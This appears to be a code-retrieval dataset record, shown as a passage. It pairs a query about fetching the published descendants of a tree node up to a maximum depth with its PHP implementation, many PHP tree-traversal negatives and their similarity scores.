$local_depth;\n}", "function find_leaves(){\n\t\t$leaves=array();\n\t\tforeach($this->nodes as $node){\n\t\t\tif(count($node->children)==0){\n\t\t\t$leaves[]=$node;\n\t\t\t}\n\t\t}\n\t\treturn $leaves;\n\t}", "private function allDescendants()\n {\n return isset($this->query['from'][0]['allDescendants']) && $this->query['from'][0]['allDescendants'];\n }", "function DepthLimitedSearch($node, $goal, $depth, $parent){\n if($depth==0){\n if($node==$goal){\n global $solution;\n $solution++;\n Path($goal);\n return;\n }\n else return;\n }\n else if($depth>0){\n global $graph;\n global $mool;\n global $parent_node;\n $g_length = count($graph[$node]);\n\n for($i=0; $i<$g_length; $i++){\n $val = $graph[$node][$i];\n\n if($val==$mool || $val==$parent)\n continue;\n $parent_node[$val] = $node;\n DepthLimitedSearch($val,$goal,$depth-1,$node);\n }\n } \n }", "public function getChildren($node): iterable\n {\n if (!method_exists($node, 'getChildren')) {\n return;\n }\n\n yield from $node->getChildren();\n }", "public function getMaxDepth(): ?int;", "public function getMaxDepth(): ?int;", "public function getDepth();", "public function findNodePublishedDescendantsFilteredByDepth(NodeInterface $node, $depth = 1)\n {\n $qb = $this->getNodeDescendantsQueryBuilder($node);\n $qb->andWhere('c.published = true')\n ->andWhere('c.lvl - ' . $node->getLevel() . ' <= :d')\n ->setParameter('d', $depth);\n\n return $qb->getQuery()->getResult();\n }", "public function grandChildren() {\n return $this->children()->children();\n }", "function bfs(Node $origin, $max, $visitFlag) {\n \n $list = [];\n $origin->_visited = $visitFlag;\n $origin->_depth = 0;\n $list[] = $origin;\n $maxDepth = -1;\n \n while (!empty($list)) {\n $node = array_pop($list);\n $n = $node->_first;\n //error_log(\"key: \" . $visitFlag . \", node: \" . $node->_id . \", depth: \" . $node->_depth);\n while ($n) {\n if ($n->_visited != $visitFlag) {\n $n->_visited = $visitFlag;\n $n->_depth = $node->_depth + 1;\n if ($max != -1 && $n->_depth >= $max) {\n return $max;\n }\n $list[] = $n;\n if ($n->_depth > $maxDepth || $maxDepth == -1) {\n $maxDepth = $n->_depth;\n }\n }\n $n = $n->_next;\n }\n $n = $node->_parent;\n if ($n && $n->_visited != $visitFlag) {\n $n->_visited = $visitFlag;\n $n->_depth = $node->_depth + 1;\n $list[] = $n;\n if ($n->_depth > $maxDepth || $maxDepth == -1) {\n $maxDepth = $n->_depth;\n }\n }\n }\n \n return $maxDepth;\n}", "public function childrenElements() {\n\t\treturn $this->hasMany('\\App\\Hierarchy', 'parent_id', 'id');\n\t}", "public function testDescendants() {\n $decendants = $this->traverser->descendants('Category:Root category', function ($pageInfo, $parentCatName) {\n if ($parentCatName === 'Category:Root category') {\n $this->assertEquals('Test page A1', $pageInfo['title']);\n }\n if ($parentCatName === 'Category:Sub category C') {\n $this->assertEquals('Test page C1', $pageInfo['title']);\n }\n });\n $this->assertCount(4, $decendants);\n }", "public function children()\n {\n $this->buildTree();\n return $this->childrenInternal();\n }", "public function depth($id);", "public function withDepthMaximum(PositiveInteger $depthMaximum): static;", "public function setMaxDepth(?int $maxDepth): void;", "public function getMaxRecursionDepth() {\n\t\treturn $this->_maxRecursionDepth;\n\t}", "public function grandChildren()\n {\n return $this->children()->children();\n }", "protected function get_descendents()\n\t{\n\t\t$descendents = array();\n\n\t\tforeach ($this->children as $nid => $child)\n\t\t{\n\t\t\t$descendents[$nid] = $child;\n\t\t\t$descendents += $child->descendents;\n\t\t}\n\n\t\treturn $descendents;\n\t}", "function get_flat_tree( $root = 1 )\n\t {\n\t \t\n\t\t$node = $this->get_node( $root );\n\t\tif($node == false)\n\t\t\treturn false;\n\n\t\t$query = ee()->db->select('*')\n\t\t\t->from( $this->tree_table )\n\t\t\t->join('channel_titles', 'channel_titles.entry_id = '.$this->tree_table.'.entry_id', 'left')\n\t\t\t->where($this->tree_table.\".lft BETWEEN \".$node['lft'].\" AND \".$node['rgt'])\n\t\t\t->group_by($this->tree_table.\".node_id\")\n\t\t\t->order_by($this->tree_table.\".lft\", \"asc\")\n\t\t\t->get();\n\t\t\n\t\t$right = array();\n\t\t$result = array();\n\t\t$current =& $result;\n\t\t$stack = array();\n\t\t$stack[0] =& $result;\n\t\t$level = 0;\n\t\t$i = 0;\n\n\t\tforeach($query->result_array() as $row)\n\t\t{\n\n\t\t\t// go more shallow, if needed\n\t\t\tif(count($right))\n\t\t\t{\n\t\t\t\twhile($right[count($right)-1] < $row['rgt'])\n\t\t\t\t{\n\t\t\t\t\tarray_pop($right);\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Go one level deeper?\n\t\t\tif(count($right) > $level)\n\t\t\t{\n\t\t\t\tend($current);\n\t\t\t}\n\t\t\t// the stack contains all parents, current and maybe next level\n\t\t\t// $current =& $stack[count($right)];\n\t\t\t// add the data\n\t\t\t$current[] = $row;\n\t\t\t// go one level deeper with the index\n\t\t\t$level = count($right);\n\t\t\t$right[] = $row['rgt'];\n\n\t\t\t$current[$i]['level'] = $level;\n\t\t\t$current[$i]['childs'] = round(($row['rgt'] - $row['lft']) / 2, 0);\n\t\t\t$i++;\n\t\t}\n\t\t\n\t\treturn $result;\n\t\t\n\t}", "public function getEdges() {\n $res = collect($this->getNodes())->filter(function($node) {\n return $node instanceof AdjacencyNode;\n })->map(function(AdjacencyNode $node) {\n return collect($node->getOutgoingEdges())->filter(function($edge) {\n return $edge instanceof Edge;\n })->unique(function(Edge $edge) {\n return $edge->getChildId();\n });\n })->flatten();\n\n if(!($res instanceof Collection)) {\n $res = collect($res);\n }\n return $res->values();\n }", "public static function depthTrim(&$tree, $depth_limit) {\n // Prevent invalid input from returning a trimmed tree.\n if ($depth_limit < 1) {\n return;\n }\n\n // Examine each element at this level to find any possible children.\n foreach (array_keys($tree) AS $key) {\n if ($tree[$key]['below']) {\n if ($depth_limit > 1) {\n static::depthTrim($tree[$key]['below'], $depth_limit-1);\n }\n else {\n // Remove the children items.\n $tree[$key]['below'] = FALSE;\n }\n }\n if ($depth_limit == 1 && $tree[$key]['link']['has_children']) {\n // Turn off the menu styling that shows there were children.\n $tree[$key]['link']['has_children'] = FALSE;\n $tree[$key]['link']['leaf_has_children'] = TRUE;\n }\n }\n }", "function get_hierarchy_filter($setting,$optparent=null,$branchparent=0,$published=null,$maxlevel=9999)\n {\n $data=$this->_prepareData(null,$optparent,$published) ;\n $children=$this->_make_relation($data) ;\n // echo \"<br>---list Child----<br>\"; print_r($children);\n $list = $this->_filter_recurse($branchparent, $children, '', $maxlevel,0,'',$setting);\n //echo \"<br>---list ----<br>\"; print_r($list);\n return $list;\n }", "public function getDescendants(array $columns = ['*']);", "public function getChildren(): Collection\n {\n return $this->children;\n }", "public function getChildren(): Collection\n {\n return $this->children;\n }", "public function iterateChildren();", "public function getChildren(BaseObject $node, $peer_method = 'doSelect', Criteria $c = null)\n {\n if(!$c)\n {\n $c = new Criteria();\n }\n $c->addAnd(self::getColumnConstant(get_class($node), 'parent'), $node->getPrimaryKey(), Criteria::EQUAL);\n $c->addAnd(self::getColumnConstant(get_class($node), 'scope'), $node->getScopeIdValue(), Criteria::EQUAL);\n $c->addAscendingOrderByColumn(self::getColumnConstant(get_class($node), 'left'));\n\n $children = call_user_func(array(get_class($node->getPeer()), $peer_method), $c);\n\n /*\n * Set children level depending on node's.\n * This prevents many further queries for getting children levels.\n */\n if (is_array($children))\n {\n $child_level = $node->getLevel() + 1;\n for ($i = 0; $i < count($children); $i++)\n {\n $children[$i]->setLevel($child_level);\n }\n }\n\n return $children;\n }", "public function fetchChildren( $nodeId )\n {\n $className = $this->properties['nodeClassName'];\n $list = new ezcTreeNodeList;\n foreach ( $this->fetchChildRecords( $nodeId ) as $record )\n {\n $list->addNode( new $className( $this, $record['id'] ) );\n }\n return $list;\n }", "public function getNodeChildren(string $nodeId, array $opts = [])\n {\n if (empty($nodeId)) {\n throw new \\InvalidArgumentException(\"Missing the required parameter 'nodeId' when calling getNodeChildren\");\n }\n\n $opts = array_merge(['skipCount' => 0,\n 'maxItems' => 100,\n 'orderBy' => '',\n 'where' => '',\n 'relativePath' => '',\n 'includeSource' => '',\n 'include' => [],\n 'fields' => []], $opts);\n $postBody = null;\n $pathParams = [\n 'nodeId' => $nodeId,\n ];\n $queryParams = [\n 'skipCount' => $opts['skipCount'],\n 'maxItems' => $opts['maxItems'],\n 'orderBy' => $opts['orderBy'],\n 'where' => $opts['where'],\n 'relativePath' => $opts['relativePath'],\n 'includeSource' => $opts['includeSource'],\n 'include' => $this->apiClient->buildCollectionParam($opts['include'], 'csv'),\n 'fields' => $this->apiClient->buildCollectionParam($opts['fields'], 'csv'),\n ];\n $headerParams = [];\n $formParams = [];\n $authNames = ['basicAuth'];\n $contentTypes = ['application/json'];\n $accepts = ['application/json'];\n $returnType = NodePaging::class;\n\n return $this->apiClient->callApi(\n '/nodes/{nodeId}/children', 'GET',\n $pathParams, $queryParams, $headerParams, $formParams, $postBody,\n $authNames, $contentTypes, $accepts, $returnType\n );\n }", "public function getChildren() {\n\t\t$children = $this->categoryRepository->findAllChildren($this);\n\t\treturn $children;\n\t}", "function _gatherChildren($nid) {\n\t$return = array();\n\t$node =& $this->_allNodes[$nid];\n\tif (is_array ($this->_allParent[$node->id])) {\n\t\tforeach ($this->_allParent[$node->id] as $nodeZ) {\n\t\t$z =& $this->_allNodes[$nodeZ];\n\t\t// We found a child\n\t\t$this->_nodeArrayizeData($z);\n\t\t// Check for references\n\t\t$this->_makeReferences($z);\n\t\t// Merge with the big array we're returning\n\t\t// The big array being all the data of the children of our parent node\n\t\t$return = $this->_array_kmerge($return,$z->data);\n\t\t}\n\t}\n\treturn $return;\n\t}", "function get_depth($id = '', $depth = '', $i = 0)\n{\n\tglobal $wpdb;\n\n\tif($depth == '')\n\t{\n\t\tif(is_page())\n\t\t{\n\t\t\tif($id == '')\n\t\t\t{\n\t\t\t\tglobal $post;\n\t\t\t\t$id = $post->ID;\n\t\t\t}\n\t\t\t$depth = $wpdb->get_var(\"SELECT post_parent FROM $wpdb->posts WHERE ID = '\".$id.\"'\");\n\t\t\treturn get_depth($id, $depth, $i);\n\t\t}\n\t\telseif(is_category())\n\t\t{\n\n\t\t\tif($id == '')\n\t\t\t{\n\t\t\t\tglobal $cat;\n\t\t\t\t$id = $cat;\n\t\t\t}\n\t\t\t$depth = $wpdb->get_var(\"SELECT parent FROM $wpdb->term_taxonomy WHERE term_id = '\".$id.\"'\");\n\t\t\treturn get_depth($id, $depth, $i);\n\t\t}\n\t\telseif(is_single())\n\t\t{\n\t\t\tif($id == '')\n\t\t\t{\n\t\t\t\t$category = get_the_category();\n\t\t\t\t$id = $category[0]->cat_ID;\n\t\t\t}\n\t\t\t$depth = $wpdb->get_var(\"SELECT parent FROM $wpdb->term_taxonomy WHERE term_id = '\".$id.\"'\");\n\t\t\treturn get_depth($id, $depth, $i);\n\t\t}\n\t}\n\telseif($depth == '0')\n\t{\n\t\treturn $i;\n\t}\n\telseif(is_single() || is_category())\n\t{\n\t\t$depth = $wpdb->get_var(\"SELECT parent FROM $wpdb->term_taxonomy WHERE term_id = '\".$depth.\"'\");\n\t\t$i++;\n\t\treturn get_depth($id, $depth, $i);\n\t}\n\telseif(is_page())\n\t{\n\t\t$depth = $wpdb->get_var(\"SELECT post_parent FROM $wpdb->posts WHERE ID = '\".$depth.\"'\");\n\t\t$i++;\n\t\treturn get_depth($id, $depth, $i);\n\t}\n}", "function test_get_children()\r\n\t{\r\n\t\t$rnc = 1;\r\n\t\t$depth = 2;\r\n\t\t$npl = 3; \r\n\t\t// Just see if empty nodes are recognized\r\n\t\t$nids = $this->_setup_root_nodes(3);\r\n\t\tforeach($nids AS $rix => $nid)\r\n\t\t{\r\n\t\t\t$this->assertFalse($this->_tree->get_children($nid), 'getChildren returned value for empty rootnode');\r\n\t\t} \r\n\t\t// Now build a little tree to test\r\n\t\t$relation_tree = $this->_create_sub_node($rnc, $depth, $npl);\r\n\r\n\t\t$rootnodes = $this->_tree->get_root_nodes();\r\n\t\t$exp_cct = 0;\r\n\t\t$cct = 0;\r\n\t\tforeach($rootnodes AS $rid => $rootnode)\r\n\t\t{ \r\n\t\t\t// Traverse the tree and verify it against the relationTree\r\n\t\t\t$cct = $cct + $this->_traverse_children($rootnode, $relation_tree, true); \r\n\t\t\t// Calc the expected number of children from lft-rgt\r\n\t\t\t$exp_cct = $exp_cct + floor(($rootnode['r'] - $rootnode['l']) / 2);\r\n\t\t} \r\n\t\t// Test if all created nodes got returned\r\n\t\t$this->assertEqual($exp_cct, $cct, 'Total node count returned is wrong');\r\n\t\treturn true;\r\n\t}", "public function menu_link_children_relative_depth($item)\n {\n return menu_link_children_relative_depth($item);\n }", "public function get_child_nodes_recursive() {\n\t\t$nodes = array();\n\n\t\tforeach ( $this->child_nodes as $node ) {\n\t\t\t$nodes[ $node->get_code() ] = $node;\n\n\t\t\t$nodes = array_merge( $nodes, $node->get_child_nodes_recursive() );\n\t\t}\n\n\t\treturn $nodes;\n\t}", "public function getChildNodes();", "public function BFS(TreeNode $node): \\SplQueue\n {\n $queue = new \\SplQueue();\n $visited = new \\SplQueue();\n\n $queue->enqueue($node);\n\n while (!$queue->isEmpty()) {\n $current = $queue->dequeue();\n $visited->enqueue($current);\n\n foreach ($current->children as $child) {\n $queue->enqueue($child);\n }\n }\n return $visited;\n }", "public function getChildren() {\n\t\t$placeRepository = t3lib_div::makeInstance('Tx_Wpj_Domain_Repository_PlaceRepository');\n\t\t$children = $placeRepository->findAllChildren($this);\n\t\treturn $children;\n\t}", "public function children() {\n\t\treturn $this->hasMany(Forum::getSectionClass(), \"parent_id\")->orderBy(\"weight\", \"desc\");\n\t}", "public function get_children() {\n\t\treturn $this->children;\n\t}", "public function getChildren()\n {\n return $this->children;\n }", "function ep_post_depth() {\n\tglobal $post;\n\t$depth = 0;\n\t$parents = get_post_ancestors($post);\n\tif ($parents) {\n\t\tforeach ($parents as $one_parent_id) {\n\t\t\t$parent_post = get_post($parent_post);\n\t\t\tif ($parent_post->post_parent) {\n\t\t\t\t$depth++;\n\t\t\t}\n\t\t}\n\t}\n\treturn $depth;\n}", "public function getChildren()\n\t{\n\t\treturn $this->children;\n\t}", "public function getChildren()\n\t{\n\t\treturn $this->children;\n\t}", "public function walk($elements, $max_depth)\n {\n global $post;\n $args = array_slice(func_get_args(), 2);\n $output = '';\n\n /* invalid parameter */\n if ($max_depth < -1) {\n return $output;\n }\n\n /* Nothing to walk */\n if (empty($elements)) {\n return $output;\n }\n\n /* Set up variables. */\n $top_level_elements = array();\n $children_elements = array();\n $parent_field = $this->db_fields['parent'];\n $child_of = (isset($args[0]['child_of'])) ? (int) $args[0]['child_of'] : 0;\n\n /* Loop elements */\n foreach ((array) $elements as $e) {\n $parent_id = $e->$parent_field;\n if (isset($parent_id)) {\n /* Top level pages. */\n if ($child_of === $parent_id) {\n $top_level_elements[] = $e;\n }\n /* Only display children of the current hierarchy. */\n else if (\n (isset($post->ID) && $parent_id == $post->ID) ||\n (isset($post->post_parent) && $parent_id == $post->post_parent) ||\n (isset($post->ancestors) && in_array($parent_id, (array) $post->ancestors))\n ) {\n $children_elements[$e->$parent_field][] = $e;\n }\n }\n }\n\n /* Define output. */\n foreach ($top_level_elements as $e) {\n $this->display_element($e, $children_elements, $max_depth, 0, $args, $output);\n }\n return $output;\n }", "function fetch_children($obj = null){\n\t$parent = ($obj == null) ? get_parent() : $obj;\n\t$id = ($parent->post_parent) ? $parent->post_parent : $parent->ID;\n\n\t// Fetch all child pages of the parent OR siblings:\n\treturn get_pages(\"hierarchical=0&parent=\".$id.\"&child_of=\".$id);\n}", "public function retrieveLastChild(BaseObject $node)\n {\n $c = new Criteria();\n $c->add(self::getColumnConstant(get_class($node), 'right'), $node->getRightValue() - 1, Criteria::EQUAL);\n $c->add(self::getColumnConstant(get_class($node), 'scope'), $node->getScopeIdValue(), Criteria::EQUAL);\n\n return call_user_func(array(get_class($node->getPeer()), 'doSelectOne'), $c);\n }", "public function selectDescendantElements ( $F = null ) {\n\n return $this->getStream()->selectDescendantElements($F);\n }", "public function getMaxNbChilds()\n {\n return $this->getOption('max', 0);\n }", "public function getChildren($menuitem, $recursive = true){\n\t\t$bind = array(\n\t\t\t'c_path' => $menuitem->getPath() . '/%'\n\t\t);\n\t\t$select = $this->_getReadAdapter()->select()\n\t\t\t->from(array('m' => $this->getMainTable()), 'entity_id')\n\t\t\t->where('status = ?', 1)\n\t\t\t->where($this->_getReadAdapter()->quoteIdentifier('path') . ' LIKE :c_path');\n\t\tif (!$recursive) {\n\t\t\t$select->where($this->_getReadAdapter()->quoteIdentifier('level') . ' <= :c_level');\n\t\t\t$bind['c_level'] = $menuitem->getLevel() + 1;\n\t\t}\n\t\treturn $this->_getReadAdapter()->fetchCol($select, $bind);\n\t}", "public function descendantNode($selectorName, $path);", "public function getMaximumDepth()\n\t{\n\t\tglobal $ilDB;\n\t\t\n\t\t$query = 'SELECT MAX(depth) depth FROM '.$this->table_tree;\n\t\t$res = $ilDB->query($query);\t\t\n\t\t\n\t\t$row = $ilDB->fetchAssoc($res);\n\t\treturn $row['depth'];\n\t}", "public function getDescendentsByDepth($depth)\n {\n $key = \"subject.depth>={$depth}\";\n return $this->cache->rememberForever($key, function () use ($depth) {\n return $this->subjects->getDescendentsByDepth($depth);\n });\n }", "public function children()\r\n\t{\r\n\t\treturn $this->children;\r\n\t}" ]
[ "0.64560384", "0.62986094", "0.62336975", "0.6187916", "0.60737133", "0.6002487", "0.59420776", "0.5940302", "0.57830787", "0.56825745", "0.5657909", "0.55984783", "0.55779237", "0.55075896", "0.55066925", "0.5479109", "0.5437518", "0.54170364", "0.5366091", "0.5362844", "0.5362844", "0.5287375", "0.5264644", "0.51859295", "0.51780736", "0.51649463", "0.51366514", "0.51115966", "0.5102042", "0.50947475", "0.5089295", "0.5085083", "0.50832194", "0.50825083", "0.50772166", "0.50704134", "0.506081", "0.49980426", "0.49952012", "0.49928546", "0.49909034", "0.4983908", "0.49838865", "0.4983385", "0.49679574", "0.49675858", "0.49616864", "0.4950297", "0.49432337", "0.49110177", "0.49110177", "0.48943993", "0.48937625", "0.4890176", "0.48801136", "0.4878107", "0.48745674", "0.48601717", "0.48583394", "0.48557574", "0.4839942", "0.4833106", "0.48283315", "0.48222506", "0.48167652", "0.47877952", "0.47870794", "0.477465", "0.4771296", "0.47673774", "0.47673774", "0.4764646", "0.4754458", "0.4752699", "0.47489953", "0.47317895", "0.47154662", "0.4712056", "0.47088", "0.46947387", "0.46754685", "0.46746612", "0.4672189", "0.46708113", "0.46585613", "0.46542752", "0.46374354", "0.4635521", "0.46333164", "0.46333164", "0.46327603", "0.4631715", "0.46302748", "0.46274608", "0.462628", "0.46193776", "0.46165547", "0.46154162", "0.46084058", "0.46059257" ]
0.59633565
6
Returns all published descendants of a given node up to a max depth.
public function findNodePublishedDescendantsFilteredByDepth(NodeInterface $node, $depth = 1) { $qb = $this->getNodeDescendantsQueryBuilder($node); $qb->andWhere('c.published = true') ->andWhere('c.lvl - ' . $node->getLevel() . ' <= :d') ->setParameter('d', $depth); return $qb->getQuery()->getResult(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function descendants() {\n\t\t/*\n\t\tget all children of this article\n\t\tfor each child, run the same query..\n\t\t*/\n\t\t$childs = $this->children();\n\t\t$subChilds = array();\n\t\tforeach ($childs as $oneChild) {\n\t\t\t$subChilds = array_merge($subChilds, $oneChild->descendants());\n\t\t}\n\t\t$childs = array_merge($childs, $subChilds);\n\t\tpb_pqp_log_speed(\"article descendants()\");\n\t\treturn $childs;\n\t}", "public function getDescendants();", "public function getDescendants(NodeInterface $node)\r\n {\r\n $params = compact('node');\r\n $event = $this->getEventManager()->trigger(__FUNCTION__.'.pre', $this, $params);\r\n if ($event->stopped()) {\r\n return $event->last();\r\n }\r\n\r\n $result = $this->mapper->getDescendants($node);\r\n\r\n $params['__RESULT__'] = $result;\r\n $this->getEventManager()->trigger(__FUNCTION__.'.post', $this, $params);\r\n\r\n return $result;\r\n }", "function descendants() {\n\t\t$out = array();\n\t\t$this->get_descendants($out);\n\t\treturn $out;\n\t}", "public function getDescendants()\n {\n if (!isset($this->_objects['Descendants'])) {\n $this->_objects['Descendants'] = $this->_getRepository()->fetchDescendantsByParent($this->id);\n }\n\n return $this->_objects['Descendants'];\n }", "public function getDescendants(BaseObject $node, $peer_method = 'doSelect', Criteria $c = null)\n {\n $descendants = array();\n\n if (!$node->isLeaf())\n {\n if(!$c)\n {\n $c = new Criteria();\n }\n $c->addAnd(self::getColumnConstant(get_class($node), 'left'), $node->getLeftValue(), Criteria::GREATER_THAN);\n $c->addAnd(self::getColumnConstant(get_class($node), 'right'), $node->getRightValue(), Criteria::LESS_THAN);\n $c->addAnd(self::getColumnConstant(get_class($node), 'scope'), $node->getScopeIdValue(), Criteria::EQUAL);\n $c->addAscendingOrderByColumn(self::getColumnConstant(get_class($node), 'left'));\n\n $descendants = call_user_func(array(get_class($node->getPeer()), $peer_method), $c);\n }\n\n /*\n * Set node levels to prevent further queries to database\n */\n $prev = array($node->getRightValue());\n $i = 0;\n if (count($descendants))\n {\n $initial_level = $descendants[0]->getLevel() - 1;\n }\n\n foreach ($descendants as $cur)\n {\n // get back to the parent\n while ($cur->getRightValue() > $prev[$i])\n {\n $i--;\n }\n\n $cur->setLevel(++$i + $initial_level);\n $prev[$i] = $cur->getRightValue();\n }\n\n return $descendants;\n }", "public function findNodeDescendantsFilteredByDepth(NodeInterface $node, $depth = 1)\n {\n $qb = $this->getNodeDescendantsQueryBuilder($node);\n $qb->andWhere('c.lvl - ' . $node->getLevel() . ' <= :d')\n ->setParameter('d', $depth);\n\n return $qb->getQuery()->getResult();\n }", "public function getDescendants($folderId, $depth, $options = array ()) { // Nice to have\n\t\t$hash_values = $options;\n\t\t$hash_values[self::OPT_DEPTH] = $depth;\n\t\t$myURL = $this->getLink($folderId, self::LINK_DOWN_TREE);\n\t\t$myURL = CmisRepositoryWrapper :: getOpUrl($myURL, $hash_values);\n\t\t$ret = $this->doGet($myURL);\n\t\t$objs = $this->extractObjectFeed($ret->body);\n\t\t$this->cacheFeedInfo($objs);\n\t\treturn $objs;\n\t}", "public function children() {\n return $this->descendants(1);\n }", "public function children()\n\t{\n\t\treturn $this->descendants(1);\n\t}", "public function findNodeAscendantsFilteredByPublished(NodeInterface $node, $published)\n {\n $qb = $this->getNodeAscendantsQueryBuilder($node);\n\n $qb->andWhere('c.published = :pub')\n ->setParameter('pub', $published);\n\n return $qb->getQuery()->getResult();\n }", "public function descendants($depth=null)\n\t{\n\t\t$owner=$this->getOwner();\n\t\t$db=$owner->getDbConnection();\n\t\t$criteria=$owner->getDbCriteria();\n\t\t$alias=$db->quoteColumnName($owner->getTableAlias());\n\n\t\t$criteria->mergeWith(array(\n\t\t\t'condition'=>$alias.'.'.$db->quoteColumnName($this->leftAttribute).'>'.$owner->{$this->leftAttribute}.\n\t\t\t\t' AND '.$alias.'.'.$db->quoteColumnName($this->rightAttribute).'<'.$owner->{$this->rightAttribute},\n\t\t\t'order'=>$alias.'.'.$db->quoteColumnName($this->leftAttribute),\n\t\t));\n\n\t\tif($depth!==null)\n\t\t\t$criteria->addCondition($alias.'.'.$db->quoteColumnName($this->levelAttribute).'<='.($owner->{$this->levelAttribute}+$depth));\n\n\t\tif($this->hasManyRoots)\n\t\t\t$criteria->addCondition($alias.'.'.$db->quoteColumnName($this->rootAttribute).'='.$owner->{$this->rootAttribute});\n\n\t\treturn $owner;\n\t}", "public function getDescendants($idEntry = 0);", "public function getNumberDescendants();", "public function testDescendantsWithMultiplePaths() {\n $this->savePage('Category:Grandparent', '');\n $this->savePage('Category:Parent 1', '[[Category:Grandparent]]');\n $this->savePage('Category:Parent 2', '[[Category:Grandparent]]');\n $this->savePage('Parent 1', '[[Category:Grandparent]]');\n $this->savePage('Child 1', '[[Category:Parent 1]]');\n $this->savePage('Child 2', '[[Category:Parent 1]]');\n $this->savePage('Child 3', '[[Category:Parent 2]]');\n $decendants = $this->traverser->descendants('Category:Grandparent');\n $this->assertCount(4, $decendants);\n }", "public function descendants($id);", "public function descendants($depth=null) {\n $db = $this->getDbConnection();\n $criteria = $this->getDbCriteria();\n $alias = $db->quoteColumnName($this->getTableAlias());\n\n $criteria->mergeWith(array(\n 'condition' => $alias . '.' . $db->quoteColumnName($this->leftAttribute) . '>' . $this->{$this->leftAttribute} .\n ' AND ' . $alias . '.' . $db->quoteColumnName($this->rightAttribute) . '<' . $this->{$this->rightAttribute},\n 'order' => $alias . '.' . $db->quoteColumnName($this->leftAttribute),\n ));\n\n if ($depth !== null)\n $criteria->addCondition($alias . '.' . $db->quoteColumnName($this->levelAttribute) . '<=' . ($this->{$this->levelAttribute} + $depth));\n\n if ($this->hasManyRoots) {\n $criteria->addCondition($alias . '.' . $db->quoteColumnName($this->rootAttribute) . '=' . CDbCriteria::PARAM_PREFIX . CDbCriteria::$paramCount);\n $criteria->params[CDbCriteria::PARAM_PREFIX . CDbCriteria::$paramCount++] = $this->{$this->rootAttribute};\n }\n\n return $this;\n }", "public function countDescendants();", "#[ReturnTypeWillChange]\n public function getChildren()\n {\n return new self($this->iterator->getChildren(), $this->excluded);\n }", "public function getDescendentsByDepth($depth)\n {\n $key = \"subject.depth>={$depth}\";\n return $this->cache->rememberForever($key, function () use ($depth) {\n return $this->subjects->getDescendentsByDepth($depth);\n });\n }", "public function get_children();", "public function childrenRecursive()\n {\n return $this->children()->with('childrenRecursive');\n }", "public function childrenRecursive()\n {\n return $this->children()->with('childrenRecursive');\n }", "public function getTypeDescendants($typeId = null, $depth, $options = array ()) {\n\t\t// TODO: Refactor Type Entries Caching\n\t\t$varmap = $options;\n\t\tif ($typeId) {\n\t\t\t$hash_values = $options;\n\t\t\t$hash_values[self::OPT_DEPTH] = $depth;\n\t\t\t$myURL = $this->getTypeLink($typeId, self::LINK_DOWN_TREE);\n\t\t\t$myURL = CmisRepositoryWrapper :: getOpUrl($myURL, $hash_values);\n\t\t} else {\n\t\t\t$myURL = $this->processTemplate($this->workspace->links[self::LINK_TYPE_DESCENDANTS], $varmap);\n\t\t}\n\t\t$ret = $this->doGet($myURL);\n\t\t$typs = $this->extractTypeFeed($ret->body);\n\t\t$this->cacheTypeFeedInfo($typs);\n\t\treturn $typs;\n\t}", "private function allDescendants()\n {\n return isset($this->query['from'][0]['allDescendants']) && $this->query['from'][0]['allDescendants'];\n }", "public function childrenRecursive()\n\t\t{\n\t\t\treturn $this->children()->with('childrenRecursive');\n\t\t}", "public function getChildren(): Collection\n {\n return $this->children;\n }", "public function getChildren(): Collection\n {\n return $this->children;\n }", "public function ancestorsGetDescendants($exclude_this=true)\r\n {\r\n $model = (new static)->setState('filter.path_begins_with', $this->path);\r\n if ($exclude_this) {\r\n \t$model->setState('filter.ids_excluded', array( $this->id ));\r\n } \r\n $items = $model->getItems();\r\n\r\n return $items;\r\n }", "public function getNodeDescendantsQueryBuilder(NodeInterface $node)\n {\n $qb = $this->getNodeTreeQueryBuilder();\n $qb->where('c.lft > :lft AND c.rgt < :rgt')\n ->setParameter('lft', $node->getLeft())\n ->setParameter('rgt', $node->getRight());\n\n return $qb;\n }", "function get_hierarchy_filter($setting,$optparent=null,$branchparent=0,$published=null,$maxlevel=9999)\n {\n $data=$this->_prepareData(null,$optparent,$published) ;\n $children=$this->_make_relation($data) ;\n // echo \"<br>---list Child----<br>\"; print_r($children);\n $list = $this->_filter_recurse($branchparent, $children, '', $maxlevel,0,'',$setting);\n //echo \"<br>---list ----<br>\"; print_r($list);\n return $list;\n }", "public function grandChildren() {\n return $this->children()->children();\n }", "public function getChildren() {\n\t\t$placeRepository = t3lib_div::makeInstance('Tx_Wpj_Domain_Repository_PlaceRepository');\n\t\t$children = $placeRepository->findAllChildren($this);\n\t\treturn $children;\n\t}", "public function getChildren($node)\n {\n return $this->getGraph()->getChildren($node)->filter(function($node) {\n return $this->containsNode($node);\n });\n }", "public function testDescendants() {\n $decendants = $this->traverser->descendants('Category:Root category', function ($pageInfo, $parentCatName) {\n if ($parentCatName === 'Category:Root category') {\n $this->assertEquals('Test page A1', $pageInfo['title']);\n }\n if ($parentCatName === 'Category:Sub category C') {\n $this->assertEquals('Test page C1', $pageInfo['title']);\n }\n });\n $this->assertCount(4, $decendants);\n }", "public function allChildrenElements() {\n\t\treturn $this->childrenElements()->with('allChildrenElements');\n\t}", "public function children() {\n\t\treturn $this->hasMany(Forum::getSectionClass(), \"parent_id\")->orderBy(\"weight\", \"desc\");\n\t}", "public function getChildren()\r\n\t{\r\n\t\treturn $this->childrenNodes;\r\n\t}", "public function getDescendants(array $columns = ['*']);", "function _wswwpx_page_get_descendant_ids ( $parent = 0, $inclusive=true ) {\n \tif ( $parent && $inclusive ) $descendants[] = $parent;\n \tif ( $children = _wswwpx_page_get_child_ids ( $parent ) ) {\n \t\tforeach ( $children as $child ) {\n \t\t\t$descendants[] = $child;\n \t\t\t$grandchildren = _wswwpx_page_get_child_ids ( $child );\n \t\t}\n \t}\n \t//\n \treturn $descendants;\n }", "public function descendants($self = FALSE, $direction = 'ASC', $direct_children_only = FALSE, $leaves_only = FALSE, $limit = FALSE)\n {\n $object_id = \"descendants_$self-$direction-$direct_children_only-$leaves_only-$limit\";\n if (! in_array($object_id, $this->_objects))\n {\n if ( !$this->loaded )\n $this->reload();\n\n $left_operator = $self ? '>=' : '>';\n $right_operator = $self ? '<=' : '<';\n \n $sql = \"SELECT * FROM $this->_table_name\n WHERE\n $this->left_column $left_operator $this->left\n AND $this->right_column $right_operator $this->right\n AND $this->scope_column = $this->scope\n \";\n\n if ($direct_children_only)\n {\n if ($self)\n {\n $sql .= \"AND (\n $this->level_column = $this->level\n OR 